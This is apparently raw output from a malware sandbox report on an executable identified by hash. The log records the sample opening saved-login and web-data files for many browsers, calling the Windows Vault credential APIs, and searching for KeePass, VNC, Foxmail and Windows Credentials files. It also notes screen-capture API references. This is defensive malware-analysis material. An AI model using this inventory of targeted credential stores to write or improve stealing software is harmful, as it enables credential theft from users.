"\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\SIGNONS2.TXT" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\SIGNONS3.TXT" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\COMODO\DRAGON\USER DATA\DEFAULT\LOGIN DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\COMODO\DRAGON\USER DATA\DEFAULT\WEB DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\MAPLESTUDIO\CHROMEPLUS\USER DATA\DEFAULT\LOGIN DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\GOOGLE\CHROME\USER DATA\DEFAULT\WEB DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\NICHROME\USER DATA\DEFAULT\LOGIN DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\NICHROME\USER DATA\DEFAULT\WEB DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\TORCH\USER DATA\DEFAULT\WEB DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\YANDEX\YANDEXBROWSER\USER DATA\DEFAULT\LOGIN DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\YANDEX\YANDEXBROWSER\USER DATA\DEFAULT\WEB DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\EPIC PRIVACY BROWSER\USER DATA\DEFAULT\LOGIN DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\EPIC PRIVACY BROWSER\USER DATA\DEFAULT\WEB DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\COCCOC\BROWSER\USER DATA\DEFAULT\LOGIN DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\COCCOC\BROWSER\USER DATA\DEFAULT\WEB DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\VIVALDI\USER DATA\DEFAULT\LOGIN DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\COMODO\CHROMODO\USER DATA\DEFAULT\LOGIN DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\COOWON\COOWON\USER DATA\DEFAULT\WEB DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\CATALINAGROUP\CITRIO\USER DATA\DEFAULT\LOGIN DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\GOOGLE\CHROME SXS\USER DATA\DEFAULT\WEB DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\IRIDIUM\USER DATA\DEFAULT\LOGIN DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\IRIDIUM\USER DATA\DEFAULT\WEB DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOGIN DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\FENRIR INC\SLEIPNIR5\SETTING\MODULES\CHROMIUMVIEWER\USER DATA\DEFAULT\LOGIN DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\FENRIR INC\SLEIPNIR5\SETTING\MODULES\CHROMIUMVIEWER\DEFAULT\LOGIN DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\MAPLESTUDIO\CHROMEPLUS\USER DATA\DEFAULT\WEB DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\GOOGLE\CHROME\USER DATA\DEFAULT\LOGIN DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\ROCKMELT\USER DATA\DEFAULT\LOGIN DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\ROCKMELT\USER DATA\DEFAULT\WEB DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\CHROMIUM\USER DATA\DEFAULT\LOGIN DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\CHROMIUM\USER DATA\DEFAULT\WEB DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\TITAN BROWSER\USER DATA\DEFAULT\LOGIN DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\TITAN BROWSER\USER DATA\DEFAULT\WEB DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\TORCH\USER DATA\DEFAULT\LOGIN DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\VIVALDI\USER DATA\DEFAULT\WEB DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\COMODO\CHROMODO\USER DATA\DEFAULT\WEB DATA" "sihost.exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\SUPERBIRD\USER DATA\DEFAULT\LOGIN DATA"3c:T9ea,"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "LoadLibrary" with a parameter msvcr100.dll (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "LoadLibrary" with a parameter SHELL32 (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "LoadLibrary" with a parameter shlwapi (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "LoadLibrary" with a parameter ADVAPI32 (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "LoadLibrary" with a parameter user32 (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "LoadLibrary" with a parameter vaultcli.dll (UID: 00000000-00004628)3d:T2da3,"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter GlobalAlloc (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter Module32First (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter GetVersionExA (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter SetErrorMode (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter getaddrinfo (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter GetProcessHeap (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter HeapFree (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter HeapAlloc (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter atexit (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter VaultEnumerateItems (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter VaultEnumerateVaults (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter VaultFree (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter VaultGetItem (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter VaultOpenVault (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter VaultCloseVault (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "GetProcAddress" with a parameter NetUserGetInfo (UID: 00000000-00004628)3e:T90f,"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74960000 "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74960000 "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74960000 "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" loaded module "KERNEL32" at base 77830000 "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73960000 "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" loaded module "MSIMG32.DLL" at base 736e0000 "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" loaded module "KERNEL32.DLL" at base 77830000 "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" loaded module "WS2_32.DLL" at base 76bf0000 "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" loaded module "OLE32.DLL" at base 76dc0000 "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" loaded module "OLEAUT32.DLL" at base 76cd0000 "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" loaded module "MSVCR100.DLL" at base 73620000 "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" loaded module "SHELL32" at base 75030000 "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" loaded module "SHLWAPI" at base 76c80000 "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" loaded module "ADVAPI32" at base 74f50000 "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 735f0000 "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 77940000 "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" loaded module "USER32" at base 74d10000 "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" loaded module "VAULTCLI.DLL" at base 735b0000 "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" loaded module "RPCRT4.DLL" at base 77a500003f:Tb8c,"9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\PokerStars* (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "FindFirstFileW" with parameter %USERPROFILE%\Documents\*.tlp (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "FindFirstFileW" with parameter %USERPROFILE%\Documents\*.bscp (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "FindFirstFileW" with parameter %USERPROFILE%\Documents\*.vnc (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "FindFirstFileW" with parameter %USERPROFILE%\Desktop\*.vnc (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "FindFirstFileW" with parameter C:\Foxmail* (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "FindFirstFileW" with parameter %USERPROFILE%\Documents\*Mailbox.ini (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "FindFirstFileW" with parameter %USERPROFILE%\Documents\*.spn (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "FindFirstFileW" with parameter %USERPROFILE%\Desktop\*.spn (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "FindFirstFileW" with parameter %USERPROFILE%\Documents\*.kdbx (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "FindFirstFileW" with parameter %USERPROFILE%\Desktop\*.kdbx (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "FindFirstFileW" with parameter %USERPROFILE%\Documents\*.kdb (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "FindFirstFileW" with parameter %USERPROFILE%\Desktop\*.kdb (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "FindFirstFileW" with parameter %APPDATA%\Microsoft\Credentials\* (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "FindNextFileW" with parameter 466BB687837BC5F9274E7EF69021FED2 (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Microsoft\Credentials\* (UID: 00000000-00004628) "9a8a979e60fda73cadd6c9e5c879ef8f5987e8447907fee02060b397daf3f0b0.exe" called "FindNextFileW" with parameter DFBE70A7E5CC19A398EBF1B96859CE5D (UID: 00000000-00004628)40:T8f3,Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00004628.00000000.199661.02F60000.00000004.mdmp, 00000000-00004628.00000001.201584.02F60000.00000004.mdmp, 00000000-00004628.00000002.203501.02F60000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00004628.00000000.199661.02F60000.00000004.mdmp, 00000000-00004628.00000001.201584.02F60000.00000004.mdmp, 00000000-00004628.00000002.203501.02F60000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00004628.00000000.199661.02F60000.00000004.mdmp, 00000000-00004628.00000001.201584.02F60000.00000004.mdmp, 00000000-00004628.00000002.203501.02F60000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00004628.00000000.199661.02F60000.00000004.mdmp, 00000000-00004628.00000001.201584.02F60000.00000004.mdmp, 00000000-00004628.00000002.203501.02F60000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00004628.00000000.199661.02F60000.00000004.mdmp, 00000000-00004628.00000001.201584.02F60000.00000004.mdmp, 00000000-00004628.00000002.203501.02F60000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00004628.00000000.199661.02F60000.00000004.mdmp, 00000000-00004628.00000001.201584.02F60000.00000004.mdmp, 00000000-00004628.00000002.203501.02F60000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00004628.00000000.199661.02F60000.00000004.mdmp, 00000000-00004628.00000001.201584.02F60000.00000004.mdmp, 00000000-00004628.00000002.203501.02F60000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00004628.00000000.199661.02F60000.00000004.mdmp, 00000000-00004628.00000001.201584.02F60000.00000004.mdmp, 